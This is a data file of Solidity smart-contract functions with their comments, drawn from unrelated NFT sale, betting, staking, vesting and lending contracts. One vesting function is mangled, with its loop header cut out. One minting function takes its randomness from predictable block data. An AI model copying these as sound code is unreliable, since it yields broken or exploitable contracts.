"///////////////////////////////////////////////////////////////////\n///// Owners Functions ///////////////////////////////////////////\n///////////////////////////////////////////////////////////////////", "function_code": "function registerUserForPreSale(address _erc20, LimitItem[] calldata _wanted, address _user) external onlyOwner {\n uint256 currLimit;\n for (uint256 i = 0; i < _wanted.length; i ++){\n currLimit = _getUserLimitTotal(_user);\n require(priceForCard[_erc20][_wanted[i].tokenId].value > 0, \n \"Cant buy with this token\"\n );\n require(\n (currLimit + _addLimitForCard(_user, _wanted[i].tokenId, _wanted[i].limit)) <= CARDS_PER_USER,\n \"Purchase limit exceeded\"\n );\n require(\n _wanted[i].limit + maxTotalSupply[_wanted[i].tokenId].currentSupply <= maxTotalSupply[_wanted[i].tokenId].maxTotalSupply,\n \"Max Total Supply limit exceeded\"\n );\n maxTotalSupply[_wanted[i].tokenId].currentSupply += _wanted[i].limit; \n\n }\n emit Purchase(_user, _erc20, 0);\n }", "version": "0.8.11"} {"comment": "/**\r\n * @dev Transfers `tokenId` from `from` to `to`.\r\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\r\n *\r\n * Requirements:\r\n *\r\n * - `to` cannot be the zero address.\r\n * - `tokenId` token must be owned by `from`.\r\n * - contract owner must have transfer globally allowed.\r\n *\r\n * Emits a {Transfer} event.\r\n */", "function_code": "function _transfer(address from, address to, uint256 tokenId) private {\r\n require(ownerOf(tokenId) == from, \"ERC721: transfer of token that is not own\");\r\n require(to != address(0), \"ERC721: transfer to the zero address\");\r\n require(_transferable == true, \"ERC721 transfer not permitted by contract owner\");\r\n\r\n // Clear approvals from the previous owner\r\n _approve(address(0), tokenId);\r\n\r\n _holderTokens[from].remove(tokenId);\r\n _holderTokens[to].add(tokenId);\r\n\r\n _tokenOwners.set(tokenId, to);\r\n\r\n emit Transfer(from, to, tokenId);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Buys a token. Needs to be supplied the correct amount of ether.\r\n */", "function_code": "function buyToken() external payable returns (bool)\r\n {\r\n uint256 paidAmount = msg.value;\r\n require(paidAmount == _tokenPrice, \"Invalid amount for token purchase\");\r\n address to = msg.sender;\r\n uint256 nextToken = nextTokenId();\r\n uint256 remainingTokens = 1 + MAX_SUPPLY - nextToken;\r\n require(remainingTokens > 0, \"Maximum supply already reached\");\r\n\r\n _holderTokens[to].add(nextToken);\r\n _tokenOwners.set(nextToken, to);\r\n\r\n uint256 remainingA = MAX_A - _countA;\r\n bool a = (uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), now, nextToken))) % remainingTokens) < remainingA;\r\n uint8 pow = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), now + 1, nextToken))) % (a ? 21 : 79) + (a ? 80 : 1));\r\n _additionalData[nextToken] = AdditionalData(a, false, pow);\r\n\r\n if (a) {\r\n _countA = _countA + 1;\r\n }\r\n\r\n emit Transfer(address(0), to, nextToken);\r\n _nextId = nextToken.add(1);\r\n\r\n payable(owner()).transfer(paidAmount);\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Sets someBool for the specified token. Can only be used by the owner of the token (not an approved account).\r\n * Owner needs to also own a ticket token to set the someBool attribute.\r\n */", "function_code": "function setSomeBool(uint256 tokenId, bool newValue) external {\r\n require(_exists(tokenId), \"Token ID does not exist\");\r\n require(ownerOf(tokenId) == msg.sender, \"Only token owner can set attribute\");\r\n require(T2(_ticketContract).burnAnyFrom(msg.sender), \"Token owner ticket could not be burned\");\r\n _additionalData[tokenId].someBool = newValue;\r\n }", "version": "0.6.12"} {"comment": "/**\n * Executes the OTC deal. Sends the USDC from the beneficiary to Index Governance, and\n * locks the INDEX in the vesting contract. Can only be called once.\n */", "function_code": "function swap() external onlyOnce {\n\n require(IERC20(index).balanceOf(address(this)) >= indexAmount, \"insufficient INDEX\");\n\n // Transfer expected USDC from beneficiary\n IERC20(usdc).safeTransferFrom(beneficiary, address(this), usdcAmount);\n\n // Create Vesting contract\n Vesting vesting = new Vesting(index, beneficiary, indexAmount, vestingStart, vestingCliff, vestingEnd);\n\n // Transfer index to vesting contract\n IERC20(index).safeTransfer(address(vesting), indexAmount);\n\n // Transfer USDC to index governance\n IERC20(usdc).safeTransfer(indexGov, usdcAmount);\n\n emit VestingDeployed(address(vesting));\n }", "version": "0.6.10"} {"comment": "// Overwrites ERC20._transfer.\n// If to = _entryCreditContract, sends tokens to the credit contract according to the\n// exchange rate in credit contract, destroys tokens locally", "function_code": "function _transfer(address from, address to, uint256 value) internal {\r\n\r\n if (to == _entryCreditContract) {\r\n\r\n _burn(from, value);\r\n IEntryCreditContract entryCreditContractInstance = IEntryCreditContract(to);\r\n require(entryCreditContractInstance.mint(from, value), \"Failed to mint entry credits\");\r\n\r\n IBalanceSheetContract balanceSheetContractInstance = IBalanceSheetContract(_balanceSheetContract);\r\n require(balanceSheetContractInstance.setPeerzTokenSupply(totalSupply()), \"Failed to update token supply\");\r\n\r\n } else {\r\n\r\n super._transfer(from, to, value);\r\n }\r\n }", "version": "0.5.2"} {"comment": "// Run destroy for all entries", "function_code": "function batchDestroy(address[] calldata from, uint256[] calldata values)\r\n external onlyDestroyer whenPaused whenNotInBME\r\n returns (bool)\r\n {\r\n uint fromLength = from.length;\r\n\r\n require(fromLength == values.length, \"Input arrays must have the same length\");\r\n\r\n for (uint256 i = 0; i < fromLength; i++) {\r\n _burn(from[i], values[i]);\r\n }\r\n\r\n return true;\r\n }", "version": "0.5.2"} {"comment": "/// Update verifier's data", "function_code": "function updateVerifier(uint feeRate, uint baseFee) external {\r\n require(feeRate >= 0 && feeRate <= ((10 ** feeRateDecimals) * 100));\r\n require(baseFee >= 0 && baseFee <= 100000000 * 1 ether);\r\n\r\n Verifier storage verifier = verifiers[msg.sender];\r\n\r\n uint oldFeeRate = verifier.feeRate;\r\n uint oldBaseFee = verifier.baseFee;\r\n\r\n verifier.addr = msg.sender;\r\n verifier.feeRate = feeRate;\r\n verifier.baseFee = baseFee;\r\n\r\n emit LogUpdateVerifier(msg.sender, oldFeeRate, feeRate, oldBaseFee, baseFee);\r\n }", "version": "0.4.24"} {"comment": "/// Make a bet", "function_code": "function makeBet(uint makerBetId, uint odds, address trustedVerifier, uint trustedVerifierFeeRate, uint trustedVerifierBaseFee, uint expiry) external payable {\r\n require(odds > (10 ** oddsDecimals) && odds < ((10 ** 8) * (10 ** oddsDecimals)));\r\n require(expiry > now);\r\n\r\n MakerBet storage makerBet = makerBets[makerBetId][msg.sender];\r\n\r\n require(makerBet.makerBetId == 0);\r\n\r\n Verifier memory verifier = verifiers[trustedVerifier];\r\n\r\n require(verifier.addr != address(0x0));\r\n require(trustedVerifierFeeRate == verifier.feeRate);\r\n require(trustedVerifierBaseFee == verifier.baseFee);\r\n\r\n uint fund = sub(msg.value, trustedVerifierBaseFee);\r\n require(fund >= minMakerBetFund);\r\n\r\n makerBet.makerBetId = makerBetId;\r\n makerBet.maker = msg.sender;\r\n makerBet.odds = odds;\r\n makerBet.totalFund = fund;\r\n makerBet.trustedVerifier = Verifier(verifier.addr, verifier.feeRate, verifier.baseFee);\r\n makerBet.expiry = expiry;\r\n makerBet.status = BetStatus.Open;\r\n makerBet.reservedFund = 0;\r\n makerBet.takerBetsCount = 0;\r\n makerBet.totalStake = 0;\r\n\r\n makerBetsCount++;\r\n\r\n emit LogMakeBet(makerBetId, msg.sender);\r\n }", "version": "0.4.24"} {"comment": "/// Increase total fund of a bet", "function_code": "function addFund(uint makerBetId) external payable {\r\n MakerBet storage makerBet = makerBets[makerBetId][msg.sender];\r\n require(makerBet.makerBetId != 0);\r\n\r\n require(now < makerBet.expiry);\r\n\r\n require(makerBet.status == BetStatus.Open || makerBet.status == BetStatus.Paused);\r\n\r\n require(msg.sender == makerBet.maker);\r\n\r\n require(msg.value > 0);\r\n\r\n uint oldTotalFund = makerBet.totalFund;\r\n\r\n makerBet.totalFund = add(makerBet.totalFund, msg.value);\r\n\r\n emit LogAddFund(makerBetId, msg.sender, oldTotalFund, makerBet.totalFund);\r\n }", "version": "0.4.24"} {"comment": "/// Update odds of a bet", "function_code": "function updateOdds(uint makerBetId, uint odds) external {\r\n require(odds > (10 ** oddsDecimals) && odds < ((10 ** 8) * (10 ** oddsDecimals)));\r\n\r\n MakerBet storage makerBet = makerBets[makerBetId][msg.sender];\r\n require(makerBet.makerBetId != 0);\r\n\r\n require(now < makerBet.expiry);\r\n\r\n require(makerBet.status == BetStatus.Open || makerBet.status == BetStatus.Paused);\r\n\r\n require(msg.sender == makerBet.maker);\r\n\r\n require(odds != makerBet.odds);\r\n\r\n uint oldOdds = makerBet.odds;\r\n\r\n makerBet.odds = odds;\r\n\r\n emit LogUpdateOdds(makerBetId, msg.sender, oldOdds, makerBet.odds);\r\n }", "version": "0.4.24"} {"comment": "/// Close a bet and withdraw unused fund", "function_code": "function closeBet(uint makerBetId) external {\r\n MakerBet storage makerBet = makerBets[makerBetId][msg.sender];\r\n require(makerBet.makerBetId != 0);\r\n\r\n require(makerBet.status == BetStatus.Open || makerBet.status == BetStatus.Paused);\r\n\r\n require(msg.sender == makerBet.maker);\r\n\r\n makerBet.status = BetStatus.Closed;\r\n\r\n // refund unused fund to maker\r\n uint unusedFund = sub(makerBet.totalFund, makerBet.reservedFund);\r\n\r\n if (unusedFund > 0) {\r\n makerBet.totalFund = makerBet.reservedFund;\r\n\r\n uint refundAmount = unusedFund;\r\n if (makerBet.totalStake == 0) {\r\n refundAmount = add(refundAmount, makerBet.trustedVerifier.baseFee); // Refund base verifier fee too if no taker-bets, because verifier do not need to settle the bet with no takers\r\n makerBet.makerFundWithdrawn = true;\r\n }\r\n\r\n if (!makerBet.maker.send(refundAmount)) {\r\n makerBet.totalFund = add(makerBet.totalFund, unusedFund);\r\n makerBet.status = BetStatus.Paused;\r\n makerBet.makerFundWithdrawn = false;\r\n } else {\r\n emit LogCloseBet(makerBetId, msg.sender);\r\n }\r\n } else {\r\n emit LogCloseBet(makerBetId, msg.sender);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// Settle a bet by trusted verifier", "function_code": "function settleBet(uint makerBetId, address maker, uint outcome) external {\r\n require(outcome == 1 || outcome == 2 || outcome == 3 || outcome == 4);\r\n\r\n MakerBet storage makerBet = makerBets[makerBetId][maker];\r\n require(makerBet.makerBetId != 0);\r\n\r\n require(msg.sender == makerBet.trustedVerifier.addr);\r\n\r\n require(makerBet.totalStake > 0);\r\n\r\n require(makerBet.status != BetStatus.Settled);\r\n\r\n BetOutcome betOutcome = BetOutcome(outcome);\r\n makerBet.outcome = betOutcome;\r\n makerBet.status = BetStatus.Settled;\r\n\r\n payMaker(makerBet);\r\n payVerifier(makerBet);\r\n\r\n emit LogSettleBet(makerBetId, maker);\r\n }", "version": "0.4.24"} {"comment": "/// Manual withdraw fund from a bet after outcome is set", "function_code": "function withdraw(uint makerBetId, address maker) external {\r\n MakerBet storage makerBet = makerBets[makerBetId][maker];\r\n require(makerBet.makerBetId != 0);\r\n\r\n require(makerBet.outcome != BetOutcome.NotSettled);\r\n\r\n require(makerBet.status == BetStatus.Settled);\r\n\r\n bool fullyWithdrawn = false;\r\n\r\n if (msg.sender == maker) {\r\n fullyWithdrawn = payMaker(makerBet);\r\n } else if (msg.sender == makerBet.trustedVerifier.addr) {\r\n fullyWithdrawn = payVerifier(makerBet);\r\n } else {\r\n fullyWithdrawn = payTaker(makerBet, msg.sender);\r\n }\r\n\r\n if (fullyWithdrawn) {\r\n emit LogWithdraw(makerBetId, maker, msg.sender);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// Payout to maker", "function_code": "function payMaker(MakerBet storage makerBet) private returns (bool fullyWithdrawn) {\r\n fullyWithdrawn = false;\r\n\r\n if (!makerBet.makerFundWithdrawn) {\r\n makerBet.makerFundWithdrawn = true;\r\n\r\n uint payout = 0;\r\n if (makerBet.outcome == BetOutcome.MakerWin) {\r\n uint trustedVerifierFeeMakerWin = mul(makerBet.totalStake, makerBet.trustedVerifier.feeRate) / ((10 ** feeRateDecimals) * 100);\r\n payout = sub(add(makerBet.totalFund, makerBet.totalStake), trustedVerifierFeeMakerWin);\r\n } else if (makerBet.outcome == BetOutcome.TakerWin) {\r\n payout = sub(makerBet.totalFund, makerBet.reservedFund);\r\n } else if (makerBet.outcome == BetOutcome.Draw || makerBet.outcome == BetOutcome.Canceled) {\r\n payout = makerBet.totalFund;\r\n }\r\n\r\n if (payout > 0) {\r\n fullyWithdrawn = true;\r\n\r\n if (!makerBet.maker.send(payout)) {\r\n makerBet.makerFundWithdrawn = false;\r\n fullyWithdrawn = false;\r\n }\r\n }\r\n }\r\n\r\n return fullyWithdrawn;\r\n }", "version": "0.4.24"} {"comment": "/// Payout to taker", "function_code": "function payTaker(MakerBet storage makerBet, address taker) private returns (bool fullyWithdrawn) {\r\n fullyWithdrawn = false;\r\n\r\n uint payout = 0;\r\n\r\n for (uint betIndex = 0; betIndex < makerBet.takerBetsCount; betIndex++) {\r\n if (makerBet.takerBets[betIndex].taker == taker) {\r\n if (!makerBet.takerBets[betIndex].settled) {\r\n makerBet.takerBets[betIndex].settled = true;\r\n\r\n if (makerBet.outcome == BetOutcome.MakerWin) {\r\n continue;\r\n } else if (makerBet.outcome == BetOutcome.TakerWin) {\r\n uint netProfit = mul(mul(makerBet.takerBets[betIndex].stake, sub(makerBet.takerBets[betIndex].odds, (10 ** oddsDecimals))), sub(((10 ** feeRateDecimals) * 100), makerBet.trustedVerifier.feeRate)) / (10 ** oddsDecimals) / ((10 ** feeRateDecimals) * 100);\r\n payout = add(payout, add(makerBet.takerBets[betIndex].stake, netProfit));\r\n } else if (makerBet.outcome == BetOutcome.Draw || makerBet.outcome == BetOutcome.Canceled) {\r\n payout = add(payout, makerBet.takerBets[betIndex].stake);\r\n }\r\n }\r\n }\r\n }\r\n\r\n if (payout > 0) {\r\n fullyWithdrawn = true;\r\n\r\n if (!taker.send(payout)) {\r\n fullyWithdrawn = false;\r\n\r\n for (uint betIndex2 = 0; betIndex2 < makerBet.takerBetsCount; betIndex2++) {\r\n if (makerBet.takerBets[betIndex2].taker == taker) {\r\n if (makerBet.takerBets[betIndex2].settled) {\r\n makerBet.takerBets[betIndex2].settled = false;\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n return fullyWithdrawn;\r\n }", "version": "0.4.24"} {"comment": "/// Payout to verifier", "function_code": "function payVerifier(MakerBet storage makerBet) private returns (bool fullyWithdrawn) {\r\n fullyWithdrawn = false;\r\n\r\n if (!makerBet.trustedVerifierFeeSent) {\r\n makerBet.trustedVerifierFeeSent = true;\r\n\r\n uint payout = 0;\r\n if (makerBet.outcome == BetOutcome.MakerWin) {\r\n uint trustedVerifierFeeMakerWin = mul(makerBet.totalStake, makerBet.trustedVerifier.feeRate) / ((10 ** feeRateDecimals) * 100);\r\n payout = add(makerBet.trustedVerifier.baseFee, trustedVerifierFeeMakerWin);\r\n } else if (makerBet.outcome == BetOutcome.TakerWin) {\r\n uint trustedVerifierFeeTakerWin = mul(makerBet.reservedFund, makerBet.trustedVerifier.feeRate) / ((10 ** feeRateDecimals) * 100);\r\n payout = add(makerBet.trustedVerifier.baseFee, trustedVerifierFeeTakerWin);\r\n } else if (makerBet.outcome == BetOutcome.Draw || makerBet.outcome == BetOutcome.Canceled) {\r\n payout = makerBet.trustedVerifier.baseFee;\r\n }\r\n\r\n if (payout > 0) {\r\n fullyWithdrawn = true;\r\n\r\n if (!makerBet.trustedVerifier.addr.send(payout)) {\r\n makerBet.trustedVerifierFeeSent = false;\r\n fullyWithdrawn = false;\r\n }\r\n }\r\n }\r\n\r\n return fullyWithdrawn;\r\n }", "version": "0.4.24"} {"comment": "/* Math utilities */", "function_code": "function mul(uint256 _a, uint256 _b) private pure returns(uint256 c) {\r\n if (_a == 0) {\r\n return 0;\r\n }\r\n\r\n c = _a * _b;\r\n assert(c / _a == _b);\r\n return c;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Returns the average of two numbers. The result is rounded towards\r\n * zero.\r\n */", "function_code": "function average(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // (a + b) / 2 can overflow, so we distribute\r\n return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Mints Bananass\r\n */", "function_code": "function mintBanana(uint numberOfTokens) public payable {\r\n require(saleIsActive, \"Sale must be active to mint Bananas\");\r\n require(numberOfTokens <= maxBananaPurchase, \"Can only mint 20 tokens at a time\");\r\n require(totalSupply().add(numberOfTokens) <= MAX_BANANAS, \"Purchase would exceed max supply of Bananas\");\r\n require(BananaPrice.mul(numberOfTokens) <= msg.value, \"Ether value sent is not correct\");\r\n \r\n for(uint i = 0; i < numberOfTokens; i++) {\r\n uint mintIndex = totalSupply();\r\n if (totalSupply() < MAX_BANANAS) {\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n }\r\n\r\n // If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after\r\n // the end of pre-sale, set the starting index block\r\n if (startingIndexBlock == 0 && (totalSupply() == MAX_BANANAS || block.timestamp >= REVEAL_TIMESTAMP)) {\r\n startingIndexBlock = block.number;\r\n } \r\n }", "version": "0.7.0"} {"comment": "/// @notice Deposit LP tokens to Staking contract for Reward token allocation.\n/// @param pid The index of the pool. See `poolInfo`.\n/// @param amount LP token amount to deposit.\n/// @param to The receiver of `amount` deposit benefit.", "function_code": "function deposit(\n uint256 pid,\n uint256 amount,\n address to\n ) public {\n PoolInfo memory pool = updatePool(pid);\n UserInfo storage user = userInfo[pid][to];\n\n // Effects\n user.amount = user.amount.add(amount);\n user.rewardDebt = user.rewardDebt.add(int256(amount.mul(pool.accRewardPerShare) / ACC_PRECISION));\n\n // Interactions\n IRewarder _rewarder = rewarder[pid];\n if (address(_rewarder) != address(0)) {\n _rewarder.onTokenReward(pid, to, to, 0, user.amount);\n }\n\n lpToken[pid].safeTransferFrom(msg.sender, address(this), amount);\n\n emit Deposit(msg.sender, pid, amount, to);\n }", "version": "0.8.6"} {"comment": "/// @notice Harvest proceeds for transaction sender to `to`.\n/// @param pid The index of the pool. See `poolInfo`.\n/// @param to Receiver of Token rewards.", "function_code": "function harvest(uint256 pid, address to) public {\n PoolInfo memory pool = updatePool(pid);\n UserInfo storage user = userInfo[pid][msg.sender];\n int256 accumulatedRewards = int256(user.amount.mul(pool.accRewardPerShare) / ACC_PRECISION);\n uint256 _pendingRewards = accumulatedRewards.sub(user.rewardDebt).toUInt256();\n\n // Effects\n user.rewardDebt = accumulatedRewards;\n\n // Interactions\n if (_pendingRewards != 0) {\n rewardToken.safeTransferFrom(rewardOwner, to, _pendingRewards);\n }\n\n IRewarder _rewarder = rewarder[pid];\n if (address(_rewarder) != address(0)) {\n _rewarder.onTokenReward(pid, msg.sender, to, _pendingRewards, user.amount);\n }\n\n emit Harvest(msg.sender, pid, _pendingRewards);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Swaps ETH for wrapped stETH and deposits the resulting wstETH to the ZkSync bridge.\n * First withdraws ETH from the bridge if there is a pending balance.\n * @param _amountIn The amount of ETH to swap.\n */", "function_code": "function swapEthForStEth(uint256 _amountIn) internal returns (uint256) {\n // swap Eth for stEth on the Lido contract\n ILido(stEth).submit{value: _amountIn}(lidoReferral);\n // approve the wStEth contract to take the stEth\n IERC20(stEth).approve(wStEth, _amountIn);\n // wrap to wStEth and return deposited amount\n return IWstETH(wStEth).wrap(_amountIn);\n }", "version": "0.8.3"} {"comment": "/**\n * Returns the amount of days passed with vesting\n */", "function_code": "function getDays(uint256 afterDays) public view returns (uint256) {\n uint256 releaseTime = getListingTime();\n uint256 time = releaseTime.add(afterDays);\n\n if (block.timestamp < time) {\n return 0;\n }\n\n uint256 diff = block.timestamp.sub(time);\n uint256 ds = diff.div(1 days).add(1);\n \n return ds;\n }", "version": "0.7.6"} {"comment": "// Returns the amount of tokens unlocked by vesting so far", "function_code": "function getUnlockedVestingAmount(address sender) public view returns (uint256) {\n \n if (!isStarted(0)) {\n return 0;\n }\n \n uint256 dailyTransferableAmount = 0;\n\n for (uint256 i=0; i 0 && trueDays < 30) {\n trueDays = 30; \n dailyTransferableAmountCurrent = vestingWallets[sender][i].firstMonthAmount;\n } \n\n if (trueDays >= 30) {\n dailyTransferableAmountCurrent = vestingWallets[sender][i].firstMonthAmount.add(vestingWallets[sender][i].dayAmount.mul(trueDays.sub(30)));\n }\n\n if (dailyTransferableAmountCurrent > vestingWallets[sender][i].totalAmount) {\n dailyTransferableAmountCurrent = vestingWallets[sender][i].totalAmount;\n }\n\n dailyTransferableAmount = dailyTransferableAmount.add(dailyTransferableAmountCurrent);\n }\n\n return dailyTransferableAmount;\n }", "version": "0.7.6"} {"comment": "/// @notice Removes and returns the n-th logical element\n/// @param self the data structure\n/// @param index which element (zero indexed) to remove and return\n/// @return popped the specified element", "function_code": "function popByIndex(Self storage self, uint256 index) internal returns (uint256 popped) {\n popped = getByIndex(self, index);\n uint256 lastIndex = self.length - 1; // will not underflow b/c prior get\n if (index < lastIndex) {\n uint256 lastElement = getByIndex(self, lastIndex);\n self.elements[index] = lastElement;\n }\n delete self.elements[lastIndex];\n self.length -= 1;\n }", "version": "0.8.9"} {"comment": "/// @notice Returns the n-th logical element\n/// @param self the data structure\n/// @param index which element (zero indexed) to get\n/// @return element the specified element", "function_code": "function getByIndex(Self storage self, uint256 index) internal view returns (uint256 element) {\n require(index < self.length, \"Out of bounds\");\n return self.elements[index] == 0\n ? index + 1 // revert on overflow\n : self.elements[index];\n }", "version": "0.8.9"} {"comment": "/// @notice Adds a new entry to the end of the queue\n/// @param self the data structure\n/// @param beneficiary an address associated with the commitment\n/// @param quantity how many to enqueue", "function_code": "function enqueue(Self storage self, address beneficiary, uint32 quantity) internal {\n require(quantity > 0, \"Quantity is missing\");\n self.elements[self.endIndex] = Element(\n beneficiary,\n uint64(block.number), // maturityBlock, hash thereof not yet known\n quantity\n );\n self.endIndex += 1;\n self.length += quantity;\n }", "version": "0.8.9"} {"comment": "/// @notice Removes and returns the first element of the multi-queue; reverts if queue is empty\n/// @param self the data structure\n/// @return beneficiary an address associated with the commitment\n/// @return maturityBlock when this commitment matured", "function_code": "function dequeue(Self storage self) internal returns (address beneficiary, uint64 maturityBlock) {\n require(!_isEmpty(self), \"Queue is empty\");\n beneficiary = self.elements[self.startIndex].beneficiary;\n maturityBlock = self.elements[self.startIndex].maturityBlock;\n if (self.elements[self.startIndex].quantity == 1) {\n delete self.elements[self.startIndex];\n self.startIndex += 1;\n } else {\n self.elements[self.startIndex].quantity -= 1;\n }\n self.length -= 1;\n }", "version": "0.8.9"} {"comment": "/**\n * @notice Admin function to add iToken into supported markets\n * Checks if the iToken already exsits\n * Will `revert()` if any check fails\n * @param _iToken The _iToken to add\n * @param _collateralFactor The _collateralFactor of _iToken\n * @param _borrowFactor The _borrowFactor of _iToken\n * @param _supplyCapacity The _supplyCapacity of _iToken\n * @param _distributionFactor The _distributionFactor of _iToken\n */", "function_code": "function _addMarket(\n address _iToken,\n uint256 _collateralFactor,\n uint256 _borrowFactor,\n uint256 _supplyCapacity,\n uint256 _borrowCapacity,\n uint256 _distributionFactor\n ) external override onlyOwner {\n require(IiToken(_iToken).isSupported(), \"Token is not supported\");\n\n // Market must not have been listed, EnumerableSet.add() will return false if it exsits\n require(iTokens.add(_iToken), \"Token has already been listed\");\n\n require(\n _collateralFactor <= collateralFactorMaxMantissa,\n \"Collateral factor invalid\"\n );\n\n require(\n _borrowFactor > 0 && _borrowFactor <= borrowFactorMaxMantissa,\n \"Borrow factor invalid\"\n );\n\n // Its value will be taken into account when calculate account equity\n // Check if the price is available for the calculation\n require(\n IPriceOracle(priceOracle).getUnderlyingPrice(_iToken) != 0,\n \"Underlying price is unavailable\"\n );\n\n markets[_iToken] = Market({\n collateralFactorMantissa: _collateralFactor,\n borrowFactorMantissa: _borrowFactor,\n borrowCapacity: _borrowCapacity,\n supplyCapacity: _supplyCapacity,\n mintPaused: false,\n redeemPaused: false,\n borrowPaused: false\n });\n\n IRewardDistributor(rewardDistributor)._addRecipient(\n _iToken,\n _distributionFactor\n );\n\n emit MarketAdded(\n _iToken,\n _collateralFactor,\n _borrowFactor,\n _supplyCapacity,\n _borrowCapacity,\n _distributionFactor\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Sets liquidationIncentive\n * @dev Admin function to set liquidationIncentive\n * @param _newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18\n */", "function_code": "function _setLiquidationIncentive(uint256 _newLiquidationIncentiveMantissa)\n external\n override\n onlyOwner\n {\n require(\n _newLiquidationIncentiveMantissa >=\n liquidationIncentiveMinMantissa &&\n _newLiquidationIncentiveMantissa <=\n liquidationIncentiveMaxMantissa,\n \"Liquidation incentive invalid\"\n );\n\n uint256 _oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa;\n liquidationIncentiveMantissa = _newLiquidationIncentiveMantissa;\n\n emit NewLiquidationIncentive(\n _oldLiquidationIncentiveMantissa,\n _newLiquidationIncentiveMantissa\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Sets the collateralFactor for a iToken\n * @dev Admin function to set collateralFactor for a iToken\n * @param _iToken The token to set the factor on\n * @param _newCollateralFactorMantissa The new collateral factor, scaled by 1e18\n */", "function_code": "function _setCollateralFactor(\n address _iToken,\n uint256 _newCollateralFactorMantissa\n ) external override onlyOwner {\n _checkiTokenListed(_iToken);\n\n require(\n _newCollateralFactorMantissa <= collateralFactorMaxMantissa,\n \"Collateral factor invalid\"\n );\n\n // Its value will be taken into account when calculate account equity\n // Check if the price is available for the calculation\n require(\n IPriceOracle(priceOracle).getUnderlyingPrice(_iToken) != 0,\n \"Failed to set collateral factor, underlying price is unavailable\"\n );\n\n Market storage _market = markets[_iToken];\n uint256 _oldCollateralFactorMantissa = _market.collateralFactorMantissa;\n _market.collateralFactorMantissa = _newCollateralFactorMantissa;\n\n emit NewCollateralFactor(\n _iToken,\n _oldCollateralFactorMantissa,\n _newCollateralFactorMantissa\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Sets the borrowFactor for a iToken\n * @dev Admin function to set borrowFactor for a iToken\n * @param _iToken The token to set the factor on\n * @param _newBorrowFactorMantissa The new borrow factor, scaled by 1e18\n */", "function_code": "function _setBorrowFactor(address _iToken, uint256 _newBorrowFactorMantissa)\n external\n override\n onlyOwner\n {\n _checkiTokenListed(_iToken);\n\n require(\n _newBorrowFactorMantissa > 0 &&\n _newBorrowFactorMantissa <= borrowFactorMaxMantissa,\n \"Borrow factor invalid\"\n );\n\n // Its value will be taken into account when calculate account equity\n // Check if the price is available for the calculation\n require(\n IPriceOracle(priceOracle).getUnderlyingPrice(_iToken) != 0,\n \"Failed to set borrow factor, underlying price is unavailable\"\n );\n\n Market storage _market = markets[_iToken];\n uint256 _oldBorrowFactorMantissa = _market.borrowFactorMantissa;\n _market.borrowFactorMantissa = _newBorrowFactorMantissa;\n\n emit NewBorrowFactor(\n _iToken,\n _oldBorrowFactorMantissa,\n _newBorrowFactorMantissa\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Sets the pauseGuardian\n * @dev Admin function to set pauseGuardian\n * @param _newPauseGuardian The new pause guardian\n */", "function_code": "function _setPauseGuardian(address _newPauseGuardian)\n external\n override\n onlyOwner\n {\n address _oldPauseGuardian = pauseGuardian;\n\n require(\n _newPauseGuardian != address(0) &&\n _newPauseGuardian != _oldPauseGuardian,\n \"Pause guardian address invalid\"\n );\n\n pauseGuardian = _newPauseGuardian;\n\n emit NewPauseGuardian(_oldPauseGuardian, _newPauseGuardian);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice pause/unpause entire protocol, including mint/redeem/borrow/seize/transfer\n * @dev Admin function, only owner and pauseGuardian can call this\n * @param _paused whether to pause or unpause\n */", "function_code": "function _setProtocolPaused(bool _paused)\n external\n override\n checkPauser(_paused)\n {\n EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens;\n uint256 _len = _iTokens.length();\n\n for (uint256 i = 0; i < _len; i++) {\n address _iToken = _iTokens.at(i);\n\n _setiTokenPausedInternal(_iToken, _paused);\n }\n\n _setTransferPausedInternal(_paused);\n _setSeizePausedInternal(_paused);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Sets Reward Distributor\n * @dev Admin function to set reward distributor\n * @param _newRewardDistributor new reward distributor\n */", "function_code": "function _setRewardDistributor(address _newRewardDistributor)\n external\n override\n onlyOwner\n {\n address _oldRewardDistributor = rewardDistributor;\n require(\n _newRewardDistributor != address(0) &&\n _newRewardDistributor != _oldRewardDistributor,\n \"Reward Distributor address invalid\"\n );\n\n rewardDistributor = _newRewardDistributor;\n emit NewRewardDistributor(_oldRewardDistributor, _newRewardDistributor);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Hook function before iToken `mint()`\n * Checks if the account should be allowed to mint the given iToken\n * Will `revert()` if any check fails\n * @param _iToken The iToken to check the mint against\n * @param _minter The account which would get the minted tokens\n * @param _mintAmount The amount of underlying being minted to iToken\n */", "function_code": "function beforeMint(\n address _iToken,\n address _minter,\n uint256 _mintAmount\n ) external override {\n _checkiTokenListed(_iToken);\n\n Market storage _market = markets[_iToken];\n require(!_market.mintPaused, \"Token mint has been paused\");\n\n // Check the iToken's supply capacity, -1 means no limit\n uint256 _totalSupplyUnderlying =\n IERC20Upgradeable(_iToken).totalSupply().rmul(\n IiToken(_iToken).exchangeRateStored()\n );\n require(\n _totalSupplyUnderlying.add(_mintAmount) <= _market.supplyCapacity,\n \"Token supply capacity reached\"\n );\n\n // Update the Reward Distribution Supply state and distribute reward to suppplier\n IRewardDistributor(rewardDistributor).updateDistributionState(\n _iToken,\n false\n );\n 